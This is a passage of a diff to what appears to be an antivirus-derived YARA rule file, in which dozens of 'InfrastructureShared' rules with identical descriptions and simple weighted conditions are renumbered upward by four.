"!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11119,7 +11183,7 @@ rule _InfrastructureShared_1028{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1029{ +rule _InfrastructureShared_1033{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11129,7 +11193,7 @@ rule _InfrastructureShared_1029{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1030{ +rule _InfrastructureShared_1034{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11139,7 +11203,7 @@ rule _InfrastructureShared_1030{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1031{ +rule _InfrastructureShared_1035{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11149,7 +11213,7 @@ rule _InfrastructureShared_1031{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1032{ +rule _InfrastructureShared_1036{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11159,7 +11223,7 @@ rule _InfrastructureShared_1032{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1033{ +rule _InfrastructureShared_1037{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11169,7 +11233,7 @@ rule _InfrastructureShared_1033{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1034{ +rule _InfrastructureShared_1038{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11179,7 +11243,7 @@ rule _InfrastructureShared_1034{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1035{ +rule _InfrastructureShared_1039{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11189,7 +11253,7 @@ rule _InfrastructureShared_1035{ ((#a_4e_0 & 1)*18723) >=1 } -rule _InfrastructureShared_1036{ +rule _InfrastructureShared_1040{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11199,7 +11263,7 @@ rule _InfrastructureShared_1036{ ((#a_6a_0 & 1)*22307) >=1 } -rule _InfrastructureShared_1037{ +rule _InfrastructureShared_1041{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11209,7 +11273,7 @@ rule _InfrastructureShared_1037{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_1038{ +rule _InfrastructureShared_1042{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11219,7 +11283,7 @@ rule _InfrastructureShared_1038{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1039{ +rule _InfrastructureShared_1043{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11229,7 +11293,7 @@ rule _InfrastructureShared_1039{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1040{ +rule _InfrastructureShared_1044{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11239,7 +11303,7 @@ rule _InfrastructureShared_1040{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1041{ +rule _InfrastructureShared_1045{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11249,7 +11313,7 @@ rule _InfrastructureShared_1041{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1042{ +rule _InfrastructureShared_1046{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11259,7 +11323,7 @@ rule _InfrastructureShared_1042{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1043{ +rule _InfrastructureShared_1047{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11269,7 +11333,7 @@ rule _InfrastructureShared_1043{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1044{ +rule _InfrastructureShared_1048{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11279,7 +11343,7 @@ rule _InfrastructureShared_1044{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1045{ +rule _InfrastructureShared_1049{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11289,7 +11353,7 @@ rule _InfrastructureShared_1045{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1046{ +rule _InfrastructureShared_1050{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11299,7 +11363,7 @@ rule _InfrastructureShared_1046{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1047{ +rule _InfrastructureShared_1051{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11309,7 +11373,7 @@ rule _InfrastructureShared_1047{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1048{ +rule _InfrastructureShared_1052{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11319,7 +11383,7 @@ rule _InfrastructureShared_1048{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1049{ +rule _InfrastructureShared_1053{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11329,7 +11393,7 @@ rule _InfrastructureShared_1049{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1050{ +rule _InfrastructureShared_1054{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11339,7 +11403,7 @@ rule _InfrastructureShared_1050{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1051{ +rule _InfrastructureShared_1055{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11349,7 +11413,7 @@ rule _InfrastructureShared_1051{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1052{ +rule _InfrastructureShared_1056{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11359,7 +11423,7 @@ rule _InfrastructureShared_1052{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1053{ +rule _InfrastructureShared_1057{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11369,7 +11433,7 @@ rule _InfrastructureShared_1053{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1054{ +rule _InfrastructureShared_1058{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11379,7 +11443,7 @@ rule _InfrastructureShared_1054{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1055{ +rule _InfrastructureShared_1059{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11389,7 +11453,7 @@ rule _InfrastructureShared_1055{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1056{ +rule _InfrastructureShared_1060{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11399,7 +11463,7 @@ rule _InfrastructureShared_1056{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1057{ +rule _InfrastructureShared_1061{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11409,7 +11473,7 @@ rule _InfrastructureShared_1057{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1058{ +rule _InfrastructureShared_1062{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11419,7 +11483,7 @@ rule _InfrastructureShared_1058{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1059{ +rule _InfrastructureShared_1063{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11429,7 +11493,7 @@ rule _InfrastructureShared_1059{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1060{ +rule _InfrastructureShared_1064{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11439,7 +11503,7 @@ rule _InfrastructureShared_1060{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1061{ +rule _InfrastructureShared_1065{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11449,7 +11513,7 @@ rule _InfrastructureShared_1061{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1062{ +rule _InfrastructureShared_1066{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11459,7 +11523,7 @@ rule _InfrastructureShared_1062{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1063{ +rule _InfrastructureShared_1067{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11469,7 +11533,7 @@ rule _InfrastructureShared_1063{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1064{ +rule _InfrastructureShared_1068{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11479,7 +11543,7 @@ rule _InfrastructureShared_1064{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1065{ +rule _InfrastructureShared_1069{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11489,7 +11553,7 @@ rule _InfrastructureShared_1065{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1066{ +rule _InfrastructureShared_1070{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11499,7 +11563,7 @@ rule _InfrastructureShared_1066{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1067{ +rule _InfrastructureShared_1071{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11509,7 +11573,7 @@ rule _InfrastructureShared_1067{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1068{ +rule _InfrastructureShared_1072{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11519,7 +11583,7 @@ rule _InfrastructureShared_1068{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1069{ +rule _InfrastructureShared_1073{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11529,7 +11593,7 @@ rule _InfrastructureShared_1069{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1070{ +rule _InfrastructureShared_1074{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11539,7 +11603,7 @@ rule _InfrastructureShared_1070{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1071{ +rule _InfrastructureShared_1075{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11549,7 +11613,7 @@ rule _InfrastructureShared_1071{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1072{ +rule _InfrastructureShared_1076{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11559,7 +11623,7 @@ rule _InfrastructureShared_1072{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1073{ +rule _InfrastructureShared_1077{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11569,7 +11633,7 @@ rule _InfrastructureShared_1073{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1074{ +rule _InfrastructureShared_1078{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11579,7 +11643,7 @@ rule _InfrastructureShared_1074{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1075{ +rule _InfrastructureShared_1079{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11589,7 +11653,7 @@ rule _InfrastructureShared_1075{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1076{ +rule _InfrastructureShared_1080{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11599,7 +11663,7 @@ rule _InfrastructureShared_1076{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1077{ +rule _InfrastructureShared_1081{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11609,7 +11673,7 @@ rule _InfrastructureShared_1077{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1078{ +rule _InfrastructureShared_1082{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11619,7 +11683,7 @@ rule _InfrastructureShared_1078{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1079{ +rule _InfrastructureShared_1083{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11629,7 +11693,7 @@ rule _InfrastructureShared_1079{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1080{ +rule _InfrastructureShared_1084{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11639,7 +11703,7 @@ rule _InfrastructureShared_1080{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1081{ +rule _InfrastructureShared_1085{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11649,7 +11713,7 @@ rule _InfrastructureShared_1081{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1082{ +rule _InfrastructureShared_1086{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11659,7 +11723,7 @@ rule _InfrastructureShared_1082{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1083{ +rule _InfrastructureShared_1087{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11669,7 +11733,7 @@ rule _InfrastructureShared_1083{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1084{ +rule _InfrastructureShared_1088{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11679,7 +11743,7 @@ rule _InfrastructureShared_1084{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1085{ +rule _InfrastructureShared_1089{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11689,7 +11753,7 @@ rule _InfrastructureShared_1085{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1086{ +rule _InfrastructureShared_1090{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11699,7 +11763,7 @@ rule _InfrastructureShared_1086{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1087{ +rule _InfrastructureShared_1091{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11709,7 +11773,7 @@ rule _InfrastructureShared_1087{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1088{ +rule _InfrastructureShared_1092{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11719,7 +11783,7 @@ rule _InfrastructureShared_1088{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1089{ +rule _InfrastructureShared_1093{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11729,7 +11793,7 @@ rule _InfrastructureShared_1089{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1090{ +rule _InfrastructureShared_1094{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11739,7 +11803,7 @@ rule _InfrastructureShared_1090{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1091{ +rule _InfrastructureShared_1095{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11749,7 +11813,7 @@ rule _InfrastructureShared_1091{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1092{ +rule _InfrastructureShared_1096{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11759,7 +11823,7 @@ rule _InfrastructureShared_1092{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1093{ +rule _InfrastructureShared_1097{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11769,7 +11833,7 @@ rule _InfrastructureShared_1093{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_1094{ +rule _InfrastructureShared_1098{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11779,7 +11843,7 @@ rule _InfrastructureShared_1094{ ((#a_6f_0 & 1)*21539) >=1 } -rule _InfrastructureShared_1095{ +rule _InfrastructureShared_1099{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11789,7 +11853,7 @@ rule _InfrastructureShared_1095{ ((#a_6f_0 & 1)*21539) >=1 } -rule _InfrastructureShared_1096{ +rule _InfrastructureShared_1100{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11799,7 +11863,7 @@ rule _InfrastructureShared_1096{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_1097{ +rule _InfrastructureShared_1101{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11809,7 +11873,7 @@ rule _InfrastructureShared_1097{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_1098{ +rule _InfrastructureShared_1102{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11819,7 +11883,7 @@ rule _InfrastructureShared_1098{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_1099{ +rule _InfrastructureShared_1103{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -11830,7 +11894,7 @@ rule _InfrastructureShared_1099{ ((#a_54_0 & 1)*18467+(#a_bd_1 & 1)*26185) >=1 } -rule _InfrastructureShared_1100{ +rule _InfrastructureShared_1104{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11840,7 +11904,7 @@ rule _InfrastructureShared_1100{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1101{ +rule _InfrastructureShared_1105{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11850,7 +11914,7 @@ rule _InfrastructureShared_1101{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1102{ +rule _InfrastructureShared_1106{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11860,7 +11924,7 @@ rule _InfrastructureShared_1102{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1103{ +rule _InfrastructureShared_1107{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11870,7 +11934,7 @@ rule _InfrastructureShared_1103{ ((#a_62_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1104{ +rule _InfrastructureShared_1108{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11880,7 +11944,7 @@ rule _InfrastructureShared_1104{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1105{ +rule _InfrastructureShared_1109{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11890,7 +11954,7 @@ rule _InfrastructureShared_1105{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1106{ +rule _InfrastructureShared_1110{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11900,7 +11964,7 @@ rule _InfrastructureShared_1106{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1107{ +rule _InfrastructureShared_1111{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11910,7 +11974,7 @@ rule _InfrastructureShared_1107{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1108{ +rule _InfrastructureShared_1112{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11920,7 +11984,7 @@ rule _InfrastructureShared_1108{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1109{ +rule _InfrastructureShared_1113{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11930,7 +11994,7 @@ rule _InfrastructureShared_1109{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1110{ +rule _InfrastructureShared_1114{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11940,7 +12004,7 @@ rule _InfrastructureShared_1110{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1111{ +rule _InfrastructureShared_1115{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11950,7 +12014,7 @@ rule _InfrastructureShared_1111{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1112{ +rule _InfrastructureShared_1116{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11960,7 +12024,7 @@ rule _InfrastructureShared_1112{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1113{ +rule _InfrastructureShared_1117{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11970,7 +12034,7 @@ rule _InfrastructureShared_1113{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1114{ +rule _InfrastructureShared_1118{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11980,7 +12044,7 @@ rule _InfrastructureShared_1114{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1115{ +rule _InfrastructureShared_1119{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11990,7 +12054,7 @@ rule _InfrastructureShared_1115{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1116{ +rule _InfrastructureShared_1120{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12000,7 +12064,7 @@ rule _InfrastructureShared_1116{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1117{ +rule _InfrastructureShared_1121{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12010,7 +12074,7 @@ rule _InfrastructureShared_1117{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1118{ +rule _InfrastructureShared_1122{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12020,7 +12084,7 @@ rule _InfrastructureShared_1118{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1119{ +rule _InfrastructureShared_1123{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12030,7 +12094,7 @@ rule _InfrastructureShared_1119{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1120{ +rule _InfrastructureShared_1124{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12040,7 +12104,7 @@ rule _InfrastructureShared_1120{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1121{ +rule _InfrastructureShared_1125{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12050,7 +12114,7 @@ rule _InfrastructureShared_1121{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1122{ +rule _InfrastructureShared_1126{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12060,7 +12124,7 @@ rule _InfrastructureShared_1122{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1123{ +rule _InfrastructureShared_1127{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12070,7 +12134,7 @@ rule _InfrastructureShared_1123{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1124{ +rule _InfrastructureShared_1128{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12080,7 +12144,7 @@ rule _InfrastructureShared_1124{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1125{ +rule _InfrastructureShared_1129{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12090,7 +12154,7 @@ rule _InfrastructureShared_1125{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1126{ +rule _InfrastructureShared_1130{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12100,7 +12164,7 @@ rule _InfrastructureShared_1126{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1127{ +rule _InfrastructureShared_1131{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12110,7 +12174,7 @@ rule _InfrastructureShared_1127{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1128{ +rule _InfrastructureShared_1132{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12120,7 +12184,7 @@ rule _InfrastructureShared_1128{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1129{ +rule _InfrastructureShared_1133{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12130,7 +12194,7 @@ rule _InfrastructureShared_1129{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1130{ +rule _InfrastructureShared_1134{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -12140,7 +12204,7 @@ rule _InfrastructureShared_1130{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1131{ +rule _InfrastructureShared_1135{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 